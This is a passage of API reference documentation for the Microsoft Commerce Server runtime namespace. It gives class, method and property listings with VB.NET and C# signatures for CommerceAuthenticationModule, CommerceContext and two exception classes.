Provides a framework context for managing the authentication of site visitors, client side cookie detection, and creation of an instance of the AuthManagerInfo class at page scope.

Public Instance Constructor

Constructor | Description
CommerceAuthenticationModule Constructor | Creates a new instance of the CommerceAuthenticationModule class.

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Release resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.
OnBeginRequest(Object, EventArgs) | Sets the AuthenticationInfo member of the current CommerceContext object.

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationModule Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceAuthenticationModule Constructor | Creates a new instance of the CommerceAuthenticationModule class.


CommerceAuthenticationModule Constructor (BCL)

Use this method to create a new instance of the CommerceAuthenticationModule class.

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceAuthenticationModule(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationModule Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Release resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.
OnBeginRequest(Object, EventArgs) | Sets the AuthenticationInfo member of the current CommerceContext object.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


CommerceAuthenticationModule.Init (HttpApplication) Method (BCL)

Use this method to initialize the module and set up the event handlers.

[Visual Basic .NET]
Overrides Public Sub Init( _
  ByVal appInstance As System.Web.HttpApplication _
)
[C#]
public override void Init(
  System.Web.HttpApplication appInstance
);

Parameters

[Visual Basic .NET]
appInstance
The HttpApplication instance that created this module.
[C#]
appInstance
The HttpApplication instance that created this module.

Implements

System.Web.IHttpModule

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationModule.OnBeginRequest (Object, EventArgs) Method (BCL)

Use this method as the event handler for HttpApplication BeginRequest events.

[Visual Basic .NET]
Public Sub OnBeginRequest( _
  ByVal sender As System.Object, _
  ByVal e As System.EventArgs _
)
[C#]
public void OnBeginRequest(
  System.Object sender,
  System.EventArgs e
);

Parameters

[Visual Basic .NET]
sender
HttpApplication instance that sent the event.
e
The current EventArgs instance.
[C#]
sender
HttpApplication instance that sent the event.
e
The current EventArgs instance.

Remarks

Sets the AuthenticationInfo member of the current CommerceContext object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationModule Properties (BCL)

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.


CommerceContext Class (BCL)

The primary class used to interface with Commerce Server.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetCatalogsForUser | Gets the list of catalogs for the current user.
LogCommerceEvent(BaseCommerceEvent) | Logs a Commerce event.
RegisterDisposable(Object) | Registers objects that can be disposed of early using the Dispose method. Only page-scoped objects should be registered, these objects will become invalid after the request is done processing and the instance of the CommerceContext class is disposed.

Public Instance Properties

Property | Description
AuthenticationInfo | Gets the AuthenticationInfo class instance that was created by the CommerceAuthenticationModule class.
Caches | Gets the collection of caches configured for the site.
CatalogSystem | Gets or sets the default CatalogContext class for use on the site.
DebugContext | Gets the debug mode for the DebugContext class.
OrderSystem | Gets or sets the default OrderContext class for use on the site.
OrganizationProfile | Gets or sets the organization profile for the current user.
Pipelines | Gets the available pipelines collection.
ProfileSystem | Gets or sets the default ProfileContext object for use on the site.
QueryStringBuilder | Gets the default QueryStringBuilder object for use on the site.
Resources | Gets the collection of Commerce Server resources configured for the site.
SiteName | Gets the Commerce Server site name.
TargetingSystem | Gets the TargetingSytemInfo object for this CommerceContext class instance.
UserId | Gets or sets the user ID (user profile primary key) for the current user.
UserProfile | Gets or sets the UserObject profile for the current user.

Public Static (Shared) Properties

Property | Description
Current | Retrieves the CommerceContext object for the current request.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Catalog Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Pipelines Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Profiles Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Targeting Namespace


CommerceContext Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GetCatalogsForUser | Gets the list of catalogs for the current user.
LogCommerceEvent(BaseCommerceEvent) | Logs a commerce event.
RegisterDisposable(Object) | Registers objects that can be disposed of early using the Dispose method. Only page-scoped objects should be registered, these objects will become invalid after the request is done processing and the instance of the CommerceContext class is disposed.

See Also

Example Code for the Microsoft.CommerceServer.Runtime Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Catalog Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Pipelines Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Profiles Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Targeting Namespace


CommerceContext.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.Web.IHttpModule

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Module Design Patterns


CommerceContext.GetCatalogsForUser Method (BCL)

Use this method to get the list of catalogs for the current user.

Definition

[Visual Basic .NET]
Public Function GetCatalogsForUser( _
) As ReadOnlyStringCollection
[C#]
public ReadOnlyStringCollection GetCatalogsForUser(
);

Return Value

The list of catalogs that should be shown to the given user.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Catalog Namespace


CommerceContext.LogCommerceEvent (BaseCommerceEvent) Method (BCL)

Use this method to log a commerce event.

Definition

[Visual Basic .NET]
Public Shared LogCommerceEvent( _
  ByVal evt As Microsoft.CommerceServer.Runtime.BaseCommerceEvent _
)
[C#]
public static LogCommerceEvent(
  Microsoft.CommerceServer.Runtime.BaseCommerceEvent evt
);

Parameters

[Visual Basic .NET]
evt
A commerce event object that derives from the base commerce event class.
[C#]
evt
A commerce event object that derives from the base commerce event class.

Return Value

Status of the logging function. Return values are defined in the LogStatus Enumeration.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceContext.RegisterDisposable (Object) Method (BCL)

Use this method to register page-scoped objects for disposal. These objects will become invalid after the request is done processing and the instance of the CommerceContext class is disposed.

Definition

[Visual Basic .NET]
Public Sub RegisterDisposable( _
  ByVal disposableObject As System.Object _
)
[C#]
public void RegisterDisposable(
  System.Object disposableObject
);

Parameters

[Visual Basic .NET]
disposableObject
The object that implements the IDisposable interface or a __COMObject type.
[C#]
disposableObject
The object that implements the IDisposable interface or a __COMObject type.

Remarks

In checked mode, this method will ensure that the object implements either the IDisposable interface or is a type of __COMObject. If it is not, then it will raise an error with the DebugContext object for the application.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Resource Disposal


CommerceContext Properties (BCL)

Public Instance Properties

Property | Description
AuthenticationInfo | Gets the AuthenticationInfo class instance that was created by the CommerceAuthenticationModule class.
Caches | Gets the collection of caches configured for the site.
CatalogSystem | Gets or sets the default CatalogContext class for use on the site.
DebugContext | Gets the debug mode for the DebugContext class.
OrderSystem | Gets or sets the default OrderContext class for use on the site.
OrganizationProfile | Gets or sets the organization profile for the current user.
Pipelines | Gets the available pipelines collection.
ProfileSystem | Gets or sets the default ProfileContext object for use on the site.
QueryStringBuilder | Gets the default QueryStringBuilder object for use on the site.
Resources | Gets the collection of Commerce Server resources configured for the site.
SiteName | Gets the Commerce Server site name.
TargetingSystem | Gets the TargetingSytemInfo object for this CommerceContext class instance.
UserId | Gets or sets the user ID (user profile primary key) for the current user.
UserProfile | Gets or sets the UserObject profile for the current user.

Public Static (Shared) Properties

Property | Description
Current | Retrieves the CommerceContext object for the current request.

See Also

Example Code for the Microsoft.CommerceServer.Runtime Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Catalog Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Pipelines Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Profiles Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Targeting Namespace


CommerceContext.AuthenticationInfo Property (BCL)

The AuthenticationInfo property is a read-only object that retrieves the AuthenticationInfo class instance that was created by the CommerceAuthenticationModule class.

Definition

[Visual Basic .NET]
Public ReadOnly Property AuthenticationInfo As AuthenticationInfo
[C#]
public AuthenticationInfo AuthenticationInfo {get;}

Property Value

The AuthenticationInfo class instance created by the CommerceAuthenticationModule class.

Remarks

Will be null if the CommerceAuthenticationModule class is not enabled in the web.config file.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceContext.Caches Property (BCL)

The Caches property is a read-only CommerceCacheCollection object containing the collection of caches configured for the site.

Definition

[Visual Basic .NET]
Public ReadOnly Property Caches As CommerceCacheCollection
[C#]
public CommerceCacheCollection Caches {get;}

Property Value

The collection of caches configured for the site.

Remarks

The value will be null if the CommerceCacheModule class is not configured in the web.config file. Always check this property for a non-null value before referencing it.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceContext.CatalogSystem Property (BCL)

The CatalogSystem property is a read/write CatalogContext object for use on the site.

Definition

[Visual Basic .NET]
Public Property CatalogSystem As CatalogContext
[C#]
public CatalogContext CatalogSystem {get; set;}

Property Value

The CatalogContext class used on the site.

Remarks

A default CatalogContext class is available only if the CommerceCatalogModule class is configured in the web.config file. Always check this property for a non-null value before referencing it.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Catalog Namespace


CommerceContext.Current Property (BCL)

The Current property is a read-only CommerceContext object containing the current request.

Definition

[Visual Basic .NET]
Public ReadOnly Property Current As CommerceContext
[C#]
public CommerceContext Current {get;}

Property Value

The CommerceContext object containing the current request.

Remarks

CommerceContext objects are created by the Commerce Server .NET Application Framework as part of the processing for every ASPX page in the Commerce Server site. The CommerceApplicationModule class must be configured in the httpModules section in the web.config file.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Catalog Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Pipelines Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Profiles Namespace

Example Code for the Microsoft.CommerceServer.Runtime.Targeting Namespace


CommerceContext.DebugContext Property (BCL)

The DebugContext property is a read-only DebugContext object that gets the debug mode used throughout the site.

Definition

[Visual Basic .NET]
Public ReadOnly Property DebugContext As DebugContext
[C#]
public DebugContext DebugContext {get;}

Property Value

The DebugContext object that gets the debug mode used throughout the site.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to display targeted advertisements on an ASP.NET Web form


CommerceContext.OrderSystem Property (BCL)

The OrderSystem property is a read/write OrderContext object.

Definition

[Visual Basic .NET]
Public Property OrderSystem As OrderContext
[C#]
public OrderContext OrderSystem {get; set;}

Property Value

The read/write OrderContext object used on the site.

Remarks

A default OrderContext object is available only if the CommerceOrderModule class is configured in the web.config file. Always check this property for a non-null value before referencing it.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Example Code for the Microsoft.CommerceServer.Runtime.Orders Namespace


CommerceContext.OrganizationProfile Property (BCL)

The OrganizationProfile property is a read/write Profile object containing the organization profile for the current user.

Definition

[Visual Basic .NET]
Public Property OrganizationProfile As Profile
[C#]
public Profile OrganizationProfile {get; set;}

Property Value

The Profile object containing the profile for the current user.

Remarks

The OrganizationProfile property is dependent on being set by the UserProfile profile property or set explicitly. The UserProfile property is dependent on being set by UserId property or set explicitly, and the UserId property is dependent upon being set explicitly or obtaining the Id from the AuthTicket object, if it exists.

If this property is accessed before it has been explicitly set, the profile will be automatically retrieved from the Profile System using the UserProfile property and the settings in the profiles section in the web.config file. This property will return null if the organization profile does not exist.

This property throws a CommerceException if the OrganizationProfile property has not been previously set and either the UserProfile or ProfileSystem property is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceContext.Pipelines Property (BCL)

The Pipelines property is the read-only PipelineCollection object used on the site.

Definition

[Visual Basic .NET]
Public ReadOnly Property Pipelines As PipelineCollection
[C#]
public PipelineCollection Pipelines {get;}

Property Value

The pipeline collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to read a pipeline collection and display its properties


CommerceContext.ProfileSystem Property (BCL)

The ProfileSystem property is the read/write ProfileContext object used on the site.

Definition

[Visual Basic .NET]
Public Property ProfileSystem As ProfileContext
[C#]
public ProfileContext ProfileSystem {get; set;}

Property Value

The ProfileContext object used on the site.

Remarks

A default ProfileContext object is available only if the CommerceProfileModule class is configured in the web.config file. Always check this property for a non-null value before referencing it.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Build a Login Page

Code to Create and Set Profile Properties

Code to Retrieve and Display Profile Properties

Code to use the SiteTerm class

Code to display targeted advertisements on an ASP.NET Web form


CommerceContext.QueryStringBuilder Property (BCL)

The QueryStringBuilder property is the read-only QueryStringBuilder object used on the site.

Definition

[Visual Basic .NET]
Public ReadOnly Property QueryStringBuilder As QueryStringBuilder
[C#]
public QueryStringBuilder QueryStringBuilder {get;}

Property Value

The QueryStringBuilder object used on the site.

Remarks

A default QueryStringBuilder object is always available.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceContext.Resources Property (BCL)

The Resources property is the read-only CommerceResourceCollection object configured for the site.

Definition

[Visual Basic .NET]
Public ReadOnly Property Resources As CommerceResourceCollection
[C#]
public CommerceResourceCollection Resources {get;}

Property Value

The CommerceResourceCollection object configured for the site.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to read a resource collection and display its contents


CommerceContext.SiteName Property (BCL)

The SiteName property is a read-only String containing the name of the Commerce Server site.

Definition

[Visual Basic .NET]
Public ReadOnly Property SiteName As System.String
[C#]
public System.String SiteName {get;}

Property Value

A String containing the name of the Commerce Server site.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceContext.TargetingSystem Property (BCL)

The TargetingSystem property is the read-only TargetingSytemInfo object for use on the site.

Definition

[Visual Basic .NET]
Public ReadOnly Property TargetingSystem As TargetingSystemInfo
[C#]
public TargetingSystemInfo TargetingSystem {get;}

Property Value

The TargetingSystemInfo object for use on the site.

Remarks

Creates the instance of the TargetingSystemInfo object on first access.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to display targeted advertisements on an ASP.NET Web form


CommerceContext.UserId Property (BCL)

The UserId property is a read/write String containing the user ID for the current user.

Definition

[Visual Basic .NET]
Public Property UserId As System.String
[C#]
public System.String UserId {get; set;}

Property Value

A String containing the user ID for the current user.

Remarks

The OrganizationProfile property is dependent on being set by the UserProfile profile property or set explicitly. The UserProfile property is dependent on being set by UserId property or set explicitly, and the UserId property is dependent upon being set explicitly or obtaining the Id from the AuthTicket object, if it exists.

If the UserId property has not been previously set, then the get method tries to retrieve it from the current AuthTicket of the AuthenticationInfo object, assuming the CommerceAuthenticationModule object is enabled for the site.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Set Shipping Methods on a Basket on an ASP.NET Web Form

Code to Manipulate a Basket on an ASP.NET Web Form


CommerceContext.UserProfile Property (BCL)

The UserProfile property is a read/write Profile object containing the profile for the current user.

Definition

[Visual Basic .NET]
Public Property UserProfile As Profile
[C#]
public Profile UserProfile {get; set;}

Property Value

The Profile object containing the profile for the current user.

Remarks

The OrganizationProfile property is dependent on being set by the UserProfile profile property or set explicitly. The UserProfile property is dependent on being set by UserId property or set explicitly, and the UserId property is dependent upon being set explicitly or obtaining the Id from the AuthTicket object, if it exists.

If this property is accessed before it has been explicitly set, the profile will be automatically retrieved from the Profile System using the UserId property and the settings in the profiles section in the web.config file. The property returns null if the user profile does not exist. This property throws a CommerceException if the UserProfile property has not been previously set and either the UserId or ProfileSystem property is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to display targeted advertisements on an ASP.NET Web form

Code to retrieve and display profile properties

Code to create and set profile properties


CommerceCreateObjectException Class (BCL)

Exception raised when a COM object cannot be created.

Public Instance Constructor

Constructor | Description
CommerceCreateObjectException Constructor | Creates a new instance of the CommerceCreateObjectException class.
CommerceCreateObjectException Constructor(String) | Creates a new instance of the CommerceCreateObjectException class with a specified error message.
CommerceCreateObjectException Constructor(String, COMException) | Creates a new instance of the CommerceCreateObjectException class with a specified error message and a reference to the inner COM exception that is the cause of this exception.
CommerceCreateObjectException Constructor(String, Exception) | Creates a new instance of the CommerceCreateObjectException class with a specified error message and a reference to the inner exception that is the cause of this exception.

Protected Instance Constructor

Constructor | Description
CommerceCreateObjectException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceCreateObjectException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceCreateObjectException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceCreateObjectException Constructor | Creates a new instance of the CommerceCreateObjectException class.
CommerceCreateObjectException Constructor(String) | Creates a new instance of the CommerceCreateObjectException class with a specified error message.
CommerceCreateObjectException Constructor(String, COMException) | Creates a new instance of the CommerceCreateObjectException class with a specified error message and a reference to the inner COM exception that is the cause of this exception.
CommerceCreateObjectException Constructor(String, Exception) | Creates a new instance of the CommerceCreateObjectException class with a specified error message and a reference to the inner exception that is the cause of this exception.

Protected Instance Constructor

Constructor | Description
CommerceCreateObjectException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceCreateObjectException class with the specified serialization information and streaming context.


CommerceCreateObjectException Constructor (BCL)

Use this method to create a new instance of the CommerceCreateObjectException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceCreateObjectException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceCreateObjectException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceCreateObjectException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceCreateObjectException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceCreateObjectException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceCreateObjectException class with the specified exception message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CommerceCreateObjectException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The exception message.
[C#]
message
The exception message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceCreateObjectException Constructor (String, COMException) (BCL)

Use this method to create a new instance of the CommerceCreateObjectException class with the specified exception string and the inner COM exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal progId As System.String, _
  ByVal inner As System.Runtime.InteropServices.COMException _
)
[C#]
public CommerceCreateObjectException(
  System.String progId,
  System.Runtime.InteropServices.COMException inner
);

Parameters

[Visual Basic .NET]
progId
The programmatic identifier.
inner
The inner exception.
[C#]
progId
The programmatic identifier.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceCreateObjectException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceCreateObjectException class with the specified exception string and the inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceCreateObjectSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The exception message.
inner
The inner exception.
[C#]
message
The exception message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceCreateObjectException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceCreateObjectException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceCreateObjectException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceDebugException Class (BCL)

A special exception raised by components of a Commerce Server application when they encounter an error during the Debug or Checked mode of operation.

Public Instance Constructor

Constructor | Description
CommerceDebugException Constructor | Creates a new instance of the CommerceDebugException class.
CommerceDebugException Constructor(String) | Creates a new instance of the CommerceDebugException class with the specified error message.
CommerceDebugException Constructor(String, Exception) | Creates a new instance of the CommerceDebugException class with the specified error message and inner exception.
CommerceDebugException Constructor(String, String) | Creates a new instance of the CommerceDebugException class with the specified category and message.
CommerceDebugException Constructor(String, String, Exception) | Creates a new instance of the CommerceDebugException class with the specified category, message, and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceDebugException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceDebugException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceDebugException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceDebugException Constructor | Creates a new instance of the CommerceDebugException class.
CommerceDebugException Constructor(String) | Creates a new instance of the CommerceDebugException class with the specified error message.
CommerceDebugException Constructor(String, Exception) | Creates a new instance of the CommerceDebugException class with the specified error message and inner exception.
CommerceDebugException Constructor(String, String) | Creates a new instance of the CommerceDebugException class with the specified category and message.
CommerceDebugException Constructor(String, String, Exception) | Creates a new instance of the CommerceDebugException class with the specified category, message, and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceDebugException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceDebugException class with the specified serialization information and streaming context.


CommerceDebugException Constructor (BCL)

Use this method to create a new instance of the CommerceDebugException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceDebugException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceDebugException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceDebugException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
